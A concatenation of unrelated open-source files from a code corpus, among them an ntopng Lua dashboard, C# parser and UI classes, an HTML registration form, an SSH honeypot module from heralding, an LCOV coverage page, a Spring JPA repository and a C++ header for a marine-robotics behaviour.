(ifstats.stats_packets > 0)) then -- Print tabbed header print('<nav class="navbar navbar-default" role="navigation">\n\t<div class="navbar-collapse collapse">\n\t<ul class="nav navbar-nav">\n') print('<li><a href="#">仪表盘: </a></li>\n') if(not(is_loopback)) then if(page == "TopFlowTalkers") then active=' class="active"' else active = "" end print('<li'..active..'><a href="/?page=TopFlowTalkers">会话</a></li>\n') end if((page == "TopHosts")) then active=' class="active"' else active = "" end print('<li'..active..'><a href="/?page=TopHosts">主机</a></li>\n') if((page == "TopPorts")) then active=' class="active"' else active = "" end print('<li'..active..'><a href="/?page=TopPorts">端口</a></li>\n') if((page == "TopApplications")) then active=' class="active"' else active = "" end print('<li'..active..'><a href="/?page=TopApplications">应用</a></li>\n') if(not(is_loopback)) then if((page == "TopASNs")) then active=' class="active"' else active = "" end print('<li'..active..'><a href="/?page=TopASNs">运营商</a></li>\n') if not (interface.isHistoricalInterface(iface_id)) then if((page == "TopFlowSenders")) then active=' class="active"' else active = "" end print('<li'..active..'><a href="/?page=TopFlowSenders">上传</a></li>\n') end end print('</ul>\n\t</div>\n\t</nav>\n') if(page == "TopFlowTalkers") then print('<div style="text-align: center;">\n<h4>活动的会话</h4></div>\n') print('<div class="row" style="text-align: center;">') dofile(dirs.installdir .. "/scripts/lua/inc/sankey.lua") print('\n</div><br/><br/><br/>\n') print [[ <div class="control-group" style="text-align: center;"> &nbsp;刷新频率: <div class="btn-group btn-small"> <button class="btn btn-default btn-xs dropdown-toggle" data-toggle="dropdown"> ]] if (refresh ~= '0') then if (refresh == '60000') then print('1 分钟') else print((refresh/1000)..' 秒 ') end else print(' Never ') end print [[<span class="caret"></span></button> <ul class="dropdown-menu "> ]] print('<li style="text-align: left;"> <a href="?refresh=5000" >5 秒</a></li>\n') print('<li style="text-align: left;"> <a href="?refresh=10000" >10 秒</a></li>\n') print('<li style="text-align: left;"> <a href="?refresh=30000" >30 秒</a></li>\n') print('<li style="text-align: left;"> <a href="?refresh=60000" >1 分钟</a></li>\n') print('<li style="text-align: left;"> <a href="?refresh=0" >不刷新</a></li>\n') print [[ </ul> </div><!-- /btn-group --> ]] if (refresh ~= '0') then print [[ &nbsp;实时更新: <div class="btn-group btn-group-xs" data-toggle="buttons-radio" data-toggle-name="topflow_graph_state"> <button id="topflow_graph_state_play" value="1" type="button" class="btn btn-default btn-xs active" data-toggle="button" ><i class="fa fa-play"></i></button> <button id="topflow_graph_state_stop" value="0" type="button" class="btn btn-default btn-xs" data-toggle="button" ><i class="fa fa-stop"></i></button> </div> ]] else print [[ &nbsp;刷新: <div class="btn-group btn-small"> <button id="topflow_graph_refresh" class="btn btn-default btn-xs"> <i rel="tooltip" data-toggle="tooltip" data-placement="top" data-original-title="Refresh graph" class="glyphicon glyphicon-refresh"></i></button> </div> ]] end print [[ </div> ]] print [[ <script> // Stop sankey interval in order to change the default refresh frequency clearInterval(sankey_interval); ]] if (refresh ~= '0') then print ('sankey_interval = window.setInterval(sankey,'..refresh..');') end print [[ var topflow_stop = false; $("#topflow_graph_state_play").click(function() { if (topflow_stop) { sankey(); sankey_interval = window.setInterval(sankey, 5000); topflow_stop = false; $("#topflow_graph_state_stop").removeClass("active"); $("#topflow_graph_state_play").addClass("active"); } }); $("#topflow_graph_state_stop").click(function() { if (!topflow_stop) { clearInterval(sankey_interval); topflow_stop = true; $("#topflow_graph_state_play").removeClass("active"); $("#topflow_graph_state_stop").addClass("active"); } }); $("#topflow_graph_refresh").click(function() { sankey(); }); </script> ]] else ntop.dumpFile(dirs.installdir .. "/httpdocs/inc/index_" .. page .. ".inc") end --ntop.dumpFile(dirs.installdir .. "/httpdocs/inc/index_top.inc") -- ntop.dumpFile(dirs.installdir .. "/httpdocs/inc/index_bottom.inc") else if (interface.isHistoricalInterface(iface_id)) then print [[ <br> <div class="alert alert-info"> <button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button> <strong>Welcome to the Historical Interface</strong><br>In order to use this interface you must specify, via the <a href="/lua/if_stats.lua?if_name=Historical&page=config_historical">configuration page</a>, the interface, for which you want to load the historical data, and the time interval to be loaded. </div> ]] else print("<div class=\"alert alert-warning\">No packet has been received yet on interface " .. getHumanReadableInterfaceName(ifname) .. ".<p>Please wait <span id='countdown'></span> seconds until this page reloads.</div> <script type=\"text/JavaScript\">(function countdown(remaining) { if(remaining <= 0) location.reload(true); document.getElementById('countdown').innerHTML = remaining; setTimeout(function(){ countdown(remaining - 1); }, 1000);})(10);</script>") end end dofile(dirs.installdir .. "/scripts/lua/inc/footer.lua")
fw867/ntopng
scripts/lua/index.lua
Lua
gpl-3.0
7,119
#region header // ======================================================================== // Copyright (c) 2018 - Julien Caillon (julien.caillon@gmail.com) // This file (PositionTracker.cs) is part of 3P. // // 3P is a free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // 3P is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with 3P. If not, see <http://www.gnu.org/licenses/>. // ======================================================================== #endregion using System; namespace _3PA.Lib.CommonMark.Parser { internal sealed class PositionTracker { public PositionTracker(int blockOffset) { _blockOffset = blockOffset; } private static readonly PositionOffset EmptyPositionOffset = default(PositionOffset); private int _blockOffset; public void AddBlockOffset(int offset) { _blockOffset += offset; } public void AddOffset(LineInfo line, int startIndex, int length) { if (OffsetCount + line.OffsetCount + 2 >= Offsets.Length) Array.Resize(ref Offsets, Offsets.Length + line.OffsetCount + 20); PositionOffset po1, po2; if (startIndex > 0) po1 = new PositionOffset( CalculateOrigin(line.Offsets, line.OffsetCount, line.LineOffset, false, true), startIndex); else po1 = EmptyPositionOffset; if (line.Line.Length - startIndex - length > 0) po2 = new PositionOffset( CalculateOrigin(line.Offsets, line.OffsetCount, line.LineOffset + startIndex + length, false, true), line.Line.Length - startIndex - length); else po2 = EmptyPositionOffset; var indexAfterLastCopied = 0; if (po1.Offset == 0) { if (po2.Offset == 0) goto FINTOTAL; po1 = po2; po2 = EmptyPositionOffset; } for (var i = 0; i < line.OffsetCount; i++) { var pc = line.Offsets[i]; if (pc.Position > po1.Position) { if (i > indexAfterLastCopied) { Array.Copy(line.Offsets, indexAfterLastCopied, Offsets, OffsetCount, i - indexAfterLastCopied); OffsetCount += i - indexAfterLastCopied; indexAfterLastCopied = i; } Offsets[OffsetCount++] = po1; po1 = po2; if (po1.Offset == 0) goto FIN; po2 = EmptyPositionOffset; } } FIN: if (po1.Offset != 0) Offsets[OffsetCount++] = po1; if (po2.Offset != 0) Offsets[OffsetCount++] = po2; FINTOTAL: Array.Copy(line.Offsets, indexAfterLastCopied, Offsets, OffsetCount, line.OffsetCount - indexAfterLastCopied); OffsetCount += line.OffsetCount - indexAfterLastCopied; } public int CalculateInlineOrigin(int position, bool isStartPosition) { return CalculateOrigin(Offsets, OffsetCount, _blockOffset + position, true, isStartPosition); } internal static int CalculateOrigin(PositionOffset[] offsets, int offsetCount, int position, bool includeReduce, bool isStart) { if (isStart) position++; var minus = 0; for (var i = 0; i < offsetCount; i++) { var po = offsets[i]; if (po.Position < position) { if (po.Offset > 0) position += po.Offset; else minus += po.Offset; } else break; } if (includeReduce) position += minus; if (isStart) position--; return position; } private PositionOffset[] Offsets = new PositionOffset[10]; private int OffsetCount; } }
jcaillon/3P
3PA/Lib/CommonMark/Parser/PositionTracker.cs
C#
gpl-3.0
4,594
using MaterialSkin.Controls; using System; using System.Drawing; using System.Windows.Forms; using WinFormsTranslator; /// <summary> /// SA:MP launcher .NET namespace /// </summary> namespace SAMPLauncherNET { /// <summary> /// Connect form class /// </summary> public partial class ConnectForm : MaterialForm { /// <summary> /// Username /// </summary> public string Username { get { return usernameSingleLineTextField.Text.Trim(); } } /// <summary> /// Server password /// </summary> public string ServerPassword { get { return serverPasswordSingleLineTextField.Text; } } /// <summary> /// Constructor /// </summary> /// <param name="noPasswordMode">No password mode</param> public ConnectForm(bool noPasswordMode) { InitializeComponent(); Utils.Translator.TranslateControls(this); usernameSingleLineTextField.Text = SAMP.Username; if (noPasswordMode) { serverPasswordLabel.Visible = false; serverPasswordSingleLineTextField.Visible = false; Size sz = new Size(MinimumSize.Width, MinimumSize.Height - 55); MaximumSize = sz; MinimumSize = sz; } } /// <summary> /// Accept input /// </summary> private void AcceptInput() { if (Username.Length <= 0) { MessageBox.Show(Utils.Translator.GetTranslation("PLEASE_TYPE_IN_USERNAME"), Utils.Translator.GetTranslation("INPUT_ERROR"), MessageBoxButtons.OK, MessageBoxIcon.Error); } else { bool success = true; if (serverPasswordSingleLineTextField.Visible && (ServerPassword.Trim().Length <= 0)) { success = (MessageBox.Show(Utils.Translator.GetTranslation("SERVER_PASSWORD_FIELD_IS_EMPTY"), Utils.Translator.GetTranslation("SERVER_PASSWORD_FIELD_IS_EMPTY_TITLE"), MessageBoxButtons.YesNo, MessageBoxIcon.Warning) == DialogResult.Yes); } if (success) { if (!(tempUsernameCheckBox.Checked)) { SAMP.Username = Username; } DialogResult = DialogResult.OK; Close(); } } } /// <summary> /// Connect button click event /// </summary> /// <param name="sender">Sender</param> /// <param name="e">Event arguments</param> private void connectButton_Click(object sender, EventArgs e) { AcceptInput(); } /// <summary> /// Cancel button click event /// </summary> /// <param name="sender">Sender</param> /// <param name="e">Event arguments</param> private void cancelButton_Click(object sender, EventArgs e) { Close(); } /// <summary> /// Generic single line text field key up event /// </summary> /// <param name="sender">Sender</param> /// <param name="e">Key event arguments</param> private void genericSingleLineTextField_KeyUp(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Return) { AcceptInput(); } else if (e.KeyCode == Keys.Escape) { Close(); } } } }
BigETI/SAMPLauncherNET
SAMPLauncherNET/Source/SAMPLauncherNET/UI/Forms/ConnectForm.cs
C#
gpl-3.0
3,748
<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>register</title> <!-- Bootstrap --> <link href="css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="css/bootstrap-theme.min.css" /> </head> <body style="background:url('images/bg.png')"> <div class="container"> <div class="row" style="margin-top: 20%;"> <div class="col-lg-4 col-lg-offset-4" style="background-color:#bce8e4;padding: 10px;border-radius: 4px;box-shadow: 3px 3px 3px #555;"> <form class="form-horizontal" role="form" method="post" action="register.php" enctype="multipart/form-data"> <div class="form-group"> <label for="firstname" class="col-sm-4 control-label">用户名</label> <div class="col-sm-8"> <input type="text" class="form-control" name="user_name" placeholder="请输入账号"> </div> </div> <div class="form-group"> <label for="lastname" class="col-sm-4 control-label">密码</label> <div class="col-sm-8"> <input type="text" class="form-control" name="password" placeholder="请输密码"> </div> </div> <div class="form-group"> <label for="lastname" class="col-sm-4 control-label">头像</label> <div class="col-sm-8"> <input class="filestyle" type="file" name="file" id="file"> </div> </div> <div class="form-group"> <div class="col-sm-offset-4 col-sm-8"> <button type="reset" class="btn btn-warning col-xs-6">重置</button> <button id="qd" type="submit" name="Submit" class="btn btn-primary col-xs-6">确定</button> </div> </div> </form> </div> </div> </div> <script src="js/jquery-2.1.4.min.js"></script> <script src="js/bootstrap.min.js"></script> <script type="text/javascript" src="js/bootstrap-filestyle.min.js"> </script> <script> $(":file").filestyle({ 'iconName': 'glyphicon glyphicon-picture', 'placeholder':'未选择图片' }); </script> </body> </html>
MrowKill/text
register.html
HTML
gpl-3.0
2,206
using System.ComponentModel; namespace SmartLogReader { public enum WorkerProgressCode { StartedWork, StillWorking, FinishedWork, CustomCode } public class Worker { public Worker() { worker = new BackgroundWorker(); worker.WorkerReportsProgress = true; worker.WorkerSupportsCancellation = true; worker.DoWork += WorkerDoWork; worker.ProgressChanged += WorkerProgressChanged; worker.RunWorkerCompleted += WorkerRunWorkerCompleted; } protected BackgroundWorker worker; public delegate void WorkerProgressChangedEventHandler(object sender, WorkerProgressCode code, string text); public event WorkerProgressChangedEventHandler ProgressChanged; protected virtual void ReportProgress(WorkerProgressCode code, string text = null) { if (worker.IsBusy) { try { worker.ReportProgress((int)code, text); return; } catch { } } ProgressChanged?.Invoke(this, code, text); } void WorkerProgressChanged(object sender, ProgressChangedEventArgs e) { ProgressChanged?.Invoke(this, (WorkerProgressCode)e.ProgressPercentage, e.UserState as string); } void WorkerRunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e) { AfterWork(e); ProgressChanged?.Invoke(this, WorkerProgressCode.FinishedWork, e.Cancelled ? "Cancelled" : e.Error != null ? ("Error: " + e.Error.Message) : null); } void WorkerDoWork(object sender, DoWorkEventArgs e) { doWorkEventArgs = e; AtWork(); } protected DoWorkEventArgs doWorkEventArgs; public virtual bool IsBusy { get { return worker.IsBusy; } } public virtual bool Start() { if (IsBusy) return false; worker.RunWorkerAsync(); return true; } public virtual void Stop() { if (IsBusy) worker.CancelAsync(); } protected virtual void AtWork() { ReportProgress(WorkerProgressCode.StartedWork); if (worker.CancellationPending) { doWorkEventArgs.Cancel = true; return; } ReportProgress(WorkerProgressCode.StillWorking); } protected virtual void AfterWork(RunWorkerCompletedEventArgs e) { } } }
wolfoerster/SmartLogReader
Utilities/Worker.cs
C#
gpl-3.0
2,751
# Copyright (C) 2017 Roman Samoilenko <ttahabatt@gmail.com> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import os import logging import functools from heralding.capabilities.handlerbase import HandlerBase import asyncssh from Crypto.PublicKey import RSA logger = logging.getLogger(__name__) class SSH(asyncssh.SSHServer, HandlerBase): connections_list = [] def __init__(self, options, loop): asyncssh.SSHServer.__init__(self) HandlerBase.__init__(self, options, loop) def connection_made(self, conn): SSH.connections_list.append(conn) self.address = conn.get_extra_info('peername') self.dest_address = conn.get_extra_info('sockname') self.connection = conn self.handle_connection() logger.debug('SSH connection received from %s.' % conn.get_extra_info('peername')[0]) def connection_lost(self, exc): self.session.set_auxiliary_data(self.get_auxiliary_data()) self.close_session(self.session) if exc: logger.debug('SSH connection error: ' + str(exc)) else: logger.debug('SSH connection closed.') def begin_auth(self, username): return True def password_auth_supported(self): return True def validate_password(self, username, password): self.session.add_auth_attempt( 'plaintext', username=username, password=password) return False def handle_connection(self): if HandlerBase.global_sessions > HandlerBase.MAX_GLOBAL_SESSIONS: protocol = self.__class__.__name__.lower() logger.warning( 'Got {0} session on port {1} from {2}:{3}, but not handling it because the global session limit has ' 'been reached'.format(protocol, self.port, *self.address)) else: self.session = self.create_session(self.address, self.dest_address) def get_auxiliary_data(self): data_fields = [ 'client_version', 'recv_cipher', 'recv_mac', 'recv_compression' ] data = {f: self.connection.get_extra_info(f) for f in data_fields} return data @staticmethod def change_server_banner(banner): """_send_version code was copied from asyncssh.connection in order to change internal local variable 'version', providing custom banner.""" @functools.wraps(asyncssh.connection.SSHConnection._send_version) def _send_version(self): """Start the SSH handshake""" version = bytes(banner, 'utf-8') if self.is_client(): self._client_version = version self._extra.update(client_version=version.decode('ascii')) else: self._server_version = version self._extra.update(server_version=version.decode('ascii')) self._send(version + b'\r\n') asyncssh.connection.SSHConnection._send_version = _send_version @staticmethod def generate_ssh_key(ssh_key_file): if not os.path.isfile(ssh_key_file): with open(ssh_key_file, 'w') as _file: rsa_key = RSA.generate(2048) priv_key_text = str(rsa_key.exportKey('PEM', pkcs=1), 'utf-8') _file.write(priv_key_text)
johnnykv/heralding
heralding/capabilities/ssh.py
Python
gpl-3.0
3,627
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>LCOV - coverage.info - libwatermark/benchmark/ZeroCross.h - functions</title> <link rel="stylesheet" type="text/css" href="../../gcov.css"> </head> <body> <table width="100%" border=0 cellspacing=0 cellpadding=0> <tr><td class="title">LCOV - code coverage report</td></tr> <tr><td class="ruler"><img src="../../glass.png" width=3 height=3 alt=""></td></tr> <tr> <td width="100%"> <table cellpadding=1 border=0 width="100%"> <tr> <td width="10%" class="headerItem">Current view:</td> <td width="35%" class="headerValue"><a href="../../index.html">top level</a> - <a href="index.html">libwatermark/benchmark</a> - ZeroCross.h<span style="font-size: 80%;"> (<a href="ZeroCross.h.gcov.html">source</a> / functions)</span></td> <td width="5%"></td> <td width="15%"></td> <td width="10%" class="headerCovTableHead">Hit</td> <td width="10%" class="headerCovTableHead">Total</td> <td width="15%" class="headerCovTableHead">Coverage</td> </tr> <tr> <td class="headerItem">Test:</td> <td class="headerValue">coverage.info</td> <td></td> <td class="headerItem">Lines:</td> <td class="headerCovTableEntry">11</td> <td class="headerCovTableEntry">11</td> <td class="headerCovTableEntryHi">100.0 %</td> </tr> <tr> <td class="headerItem">Date:</td> <td class="headerValue">2014-01-20</td> <td></td> <td class="headerItem">Functions:</td> <td class="headerCovTableEntry">5</td> <td class="headerCovTableEntry">5</td> <td class="headerCovTableEntryHi">100.0 %</td> </tr> <tr><td><img src="../../glass.png" width=3 height=3 alt=""></td></tr> </table> </td> </tr> <tr><td class="ruler"><img src="../../glass.png" width=3 height=3 alt=""></td></tr> </table> <center> <table width="60%" cellpadding=1 cellspacing=1 border=0> <tr><td><br></td></tr> <tr> <td width="80%" class="tableHead">Function Name <span class="tableHeadSort"><a href="ZeroCross.h.func.html"><img src="../../updown.png" width=10 height=14 alt="Sort by function name" title="Sort by function name" border=0></a></span></td> <td width="20%" class="tableHead">Hit count <span class="tableHeadSort"><img src="../../glass.png" width=10 height=14 alt="Sort by hit count" title="Sort by hit count" border=0></span></td> </tr> <tr> <td class="coverFn"><a href="ZeroCross.h.gcov.html#25">_ZZN9ZeroCrossIdEclERSt10shared_ptrI5IDataEENKUldE_clEd</a></td> <td class="coverFnHi">88576</td> </tr> <tr> <td class="coverFn"><a href="ZeroCross.h.gcov.html#18">_ZN9ZeroCrossIdEclERSt10shared_ptrI5IDataE</a></td> <td class="coverFnHi">173</td> </tr> <tr> <td class="coverFn"><a href="ZeroCross.h.gcov.html#13">_ZN9ZeroCrossIdEC2ERK10ParametersIdE</a></td> <td class="coverFnHi">1</td> </tr> <tr> <td class="coverFn"><a href="ZeroCross.h.gcov.html#7">_ZN9ZeroCrossIdED0Ev</a></td> <td class="coverFnHi">1</td> </tr> <tr> <td class="coverFn"><a href="ZeroCross.h.gcov.html#7">_ZN9ZeroCrossIdED2Ev</a></td> <td class="coverFnHi">1</td> </tr> </table> <br> </center> <table width="100%" border=0 cellspacing=0 cellpadding=0> <tr><td class="ruler"><img src="../../glass.png" width=3 height=3 alt=""></td></tr> <tr><td class="versionInfo">Generated by: <a href="http://ltp.sourceforge.net/coverage/lcov.php" target="_parent">LCOV version 1.10</a></td></tr> </table> <br> </body> </html>
jcelerier/watermarking
html-coverage/libwatermark/benchmark/ZeroCross.h.func-sort-c.html
HTML
gpl-3.0
4,030
body { text-align: justify; width: 500px; }
thomasgalvin/MarkdownWriter
MarkdownWriterMain/src/test/markdown/styles.css
CSS
gpl-3.0
48
/* * Copyright 2002-2017 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.drdolittle.petclinic.petclinic.repository.jpa; import java.util.Collection; import java.util.List; import javax.persistence.EntityManager; import javax.persistence.PersistenceContext; import javax.persistence.Query; import com.drdolittle.petclinic.petclinic.repository.VisitRepository; import org.springframework.context.annotation.Profile; import org.springframework.dao.DataAccessException; import com.drdolittle.petclinic.petclinic.model.Visit; import org.springframework.stereotype.Repository; /** * JPA implementation of the ClinicService interface using EntityManager. * <p/> * <p>The mappings are defined in "orm.xml" located in the META-INF directory. * */ @Repository @Profile("jpa") public class JpaVisitRepositoryImpl implements VisitRepository { @PersistenceContext private EntityManager em; @Override public void save(Visit visit) { if (visit.getId() == null) { this.em.persist(visit); } else { this.em.merge(visit); } } @Override @SuppressWarnings("unchecked") public List<Visit> findByPetId(Integer petId) { Query query = this.em.createQuery("SELECT v FROM Visit v where v.pet.id= :id"); query.setParameter("id", petId); return query.getResultList(); } @Override public Visit findById(int id) throws DataAccessException { return this.em.find(Visit.class, id); } @SuppressWarnings("unchecked") @Override public Collection<Visit> findAll() throws DataAccessException { return this.em.createQuery("SELECT v FROM Visit v").getResultList(); } @Override public void delete(Visit visit) throws DataAccessException { String visitId = visit.getId().toString(); this.em.createQuery("DELETE FROM Visit visit WHERE id=" + visitId).executeUpdate(); if (em.contains(visit)) { em.remove(visit); } } }
shekharcs1-/Test
service/src/main/java/com/drdolittle/petclinic/petclinic/repository/jpa/JpaVisitRepositoryImpl.java
Java
gpl-3.0
2,491
# Description This python library gathers tools and functions related to [random vectors with a matrix representation](http://perso.quaesituri.org/florian.angeletti/Publications/Journal?filter=tags%3E[Matrix%20representation]). In brief, this random variable are characterized by a joint probability density function which can be written as a matrix product: ``` p(x_1,.., x_N) = tr(A^T R(x_1) ... R(x_N) ). ``` This specific library focuses on the analysis and computation of the limit laws for the sum of such random vector. ``` S(X) = x_1 + x_2 ... x_n ``` The structure of this library follow closely the argumentation developped in the corresponding article. It may therefore be useful for interested readers to have a look at the illustration directory. In this directory, the illustration.py is an heavily commented python version of the relevant part of article whereas gen_illustration.py can be used to generate new random examples (both generated from illustration.hyd, see [Hydra](https://github.com/FAngeletti/Hydra) ) . For more direct use of the library, the tests avaible inside the tests directory are quite shorter and may be more readable (at least if they were commented, it might be the case). Note that this library relies on the sympy, numpy and matplotlib libraries. # Installation The library can be installed for local user by using ``` python setup.py install --user ``` # Script-by-script description ## Main modules ### Connectivity.py This module is used to compute the reachability matrix of `G(E)` and other graph theoretical quantity. It provides for instance functions for computing the strongly connected component of `G(E)` and the relabelling of`E` leading to block upper triangular matrix. ### Eigentriples.py Classical algorithms for computing the eigenvalue and left and right eigenvectors. Currently, the algorithm try to use exact method for computing the eigenvalue (in order to have nice number in the pdf file) which will of course fail for more complex system. This peculiar behavior can be turned off by changing the default argument of the `eigentriple` function. ### reduction.py This module compute the reduced model for a given triple (A,E, P ( or Qs) ). ### limits.py This module gathers the functions needed for computing the limit distributions for the generalized central limit theorems and law of large number from a totally irreducible model. The central limit distributions are computed using Monte-Carlo integration. The limit laws for the (generalised) law of large number are computed using a method based on simplicial decomposition of polytope. ### model.py Sane entry point to the library api. This module compute the reduced model directly from an input triplet (A, E, Qs) where Qs are the moment matrices. Methods are then available to compute the corresponding limit laws. ##Auxiliary modules Modules directly used by the main module but which probably should not be used directly. ### polytope.py This module implements the volume computation for general polytope in arbitrary dimension. The limits module use a more specific algorithm computating the volume of intersection of polytope and hyperplane parameterizd by a polynomial. This part has by far the worst theoretical complexity since it is factorial in the maximal length of structure chain l_max ( partially because a d dimensional hypercube is divided in d! simplices by the decomposition algorithm currently used ). More efficient algorithm could be implemented (with a lot of free time). ### byPiece.py This module implements piecewise polynomial and function for plotting or printing them. ## General utilities module Modules not directly used by one of the main modules ### printing.py Printing functions for generating readable latex file (or latex file generating readable pdf). ### generation.py The role of this module is to generate random model of random variable with a matrix representation. Note that since, the interesting cases for the limit distribution have a zero measure for most classical matrix distribution, the library generates these models using sparse graph analysis. ### Synthesis.py Module for generating realisations of a given m-c r.v. Quite slow curently. ### Histogram.py This module implement tree-based histograms ### HistogramS.py This module implements standard histogram ### utils.py Nameless module for miscellaneous utility functions.
FAngeletti/Pymatr
readme.md
Markdown
gpl-3.0
4,454
## UnDeclareCommutator `UnDeclareCommutator[a, b]` undeclares the value assigned to the commutator of `a` and `b`. ### See also [Overview](Extra/FeynCalc.md), [Commutator](Commutator.md), [CommutatorExplicit](CommutatorExplicit.md), [DeclareNonCommutative](DeclareNonCommutative.md), [DotSimplify](DotSimplify.md). ### Examples ```mathematica Commutator[QuantumField[FCPartialD[LorentzIndex[xxx_]], A], QuantumField[A]] = 0; ``` ```mathematica QuantumField[A] . QuantumField[A] . LeftPartialD[\[Nu]] . QuantumField[A] . QuantumField[A] . LeftPartialD[\[Nu]] ExpandPartialD[%] ``` $$A.A.\overleftarrow{\partial }_{\nu }.A.A.\overleftarrow{\partial }_{\nu }$$ $$6 A.A.\left(\left.(\partial _{\nu }A\right)\right).\left(\left.(\partial _{\nu }A\right)\right)+A.\left(\partial _{\nu }\partial _{\nu }A\right).A.A+\left(\partial _{\nu }\partial _{\nu }A\right).A.A.A$$ ```mathematica UnDeclareCommutator[QuantumField[FCPartialD[LorentzIndex[xxx_]], A], QuantumField[A]]; ``` ```mathematica QuantumField[A] . QuantumField[A] . LeftPartialD[\[Nu]] . QuantumField[A] . QuantumField[A] . LeftPartialD[\[Nu]] ExpandPartialD[%] ``` $$A.A.\overleftarrow{\partial }_{\nu }.A.A.\overleftarrow{\partial }_{\nu }$$ $$A.\left(\left.(\partial _{\nu }A\right)\right).A.\left(\left.(\partial _{\nu }A\right)\right)+A.\left(\left.(\partial _{\nu }A\right)\right).\left(\left.(\partial _{\nu }A\right)\right).A+\left(\left.(\partial _{\nu }A\right)\right).A.A.\left(\left.(\partial _{\nu }A\right)\right)+\left(\left.(\partial _{\nu }A\right)\right).A.\left(\left.(\partial _{\nu }A\right)\right).A+2 \left(\left.(\partial _{\nu }A\right)\right).\left(\left.(\partial _{\nu }A\right)\right).A.A+A.\left(\partial _{\nu }\partial _{\nu }A\right).A.A+\left(\partial _{\nu }\partial _{\nu }A\right).A.A.A$$
FeynCalc/feyncalc
FeynCalc/Documentation/Markdown/UnDeclareCommutator.md
Markdown
gpl-3.0
1,800
/************************************************************************* SGMOOS: A set of libraries, scripts & applications which extend MOOS (Mission Oriented Operating Suite by Dr. Paul Newman) for use in Autonomous Underwater Vehicles & Autonomous Surface Vessels. Copyright (C) 2006,2007,2008,2009 Massachusetts Institute of Technology Sea Grant This software was written by Ian Katz & others at MIT Sea Grant. contact: ijk5@mit.edu This file is part of SGMOOS. SGMOOS is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Foobar is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with SGMOOS. If not, see <http://www.gnu.org/licenses/>. *************************************************************************/ // RTUMonitor.h: interface for the CRTUMonitor class. // ////////////////////////////////////////////////////////////////////// #if !defined(RTU_MONITOR_H) #define RTU_MONITOR_H #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #include "MOOSBehaviour.h" #include <math.h> /** * FIXME: needs class description */ class CRTUMonitor : public CSGMOOSBehaviour { public: CRTUMonitor(); virtual ~CRTUMonitor(); virtual bool GetRegistrations(STRING_LIST &List); virtual bool SetParam(string sParam, string sVal); virtual bool OnNewMail(MOOSMSG_LIST &NewMail); virtual bool Run(CPathAction &DesiredAction); virtual bool RegularMailDelivery(double); protected: //array pointer to our circular buffer double* m_dfDesired; double* m_dfActual; //double* m_dfError; double m_dfMaxDelay; double m_dfPeakError; double m_dfStuckErrorRange; double m_dfLastUpdate; void Cleanup(); int m_iDatapoints; int m_iDataStart; int m_iDataEnd; int DataLength() {return (m_iDataEnd - m_iDataStart + m_iDatapoints) % m_iDatapoints + 1;} bool m_bGotInitialDesired; bool m_bGotInitialActual; bool GotInitialData() {return m_bGotInitialDesired && m_bGotInitialActual;} int incr(int index) {return (index + 1) % m_iDatapoints;} int decr(int index) {return (index - 1 + m_iDatapoints) % m_iDatapoints;} virtual void GetChartNodeContents(STRING_LIST& contents) const; public: double FoldWrappedArray(double (*f)(CRTUMonitor* r, double acc, int index), double init); //work functions static double SumError(CRTUMonitor* r, double acc, int index) {return acc + fabs(r->m_dfDesired[index] - r->m_dfActual[index]);} static double MaxDesired(CRTUMonitor* r, double acc, int index) {return fmax(acc, r->m_dfDesired[index]);} static double MinDesired(CRTUMonitor* r, double acc, int index) {return fmin(acc, r->m_dfDesired[index]);} static double MaxActual(CRTUMonitor* r, double acc, int index) {return fmax(acc, r->m_dfActual[index]);} static double MinActual(CRTUMonitor* r, double acc, int index) {return fmin(acc, r->m_dfActual[index]);} //static double AboveThreshold(CRTUMonitor* r, double acc, int index); }; #endif //RTU_MONITOR_H
ifreecarve/SGMOOS
Control/SeaGrantTaskLib/RTUMonitor.h
C
gpl-3.0
3,557
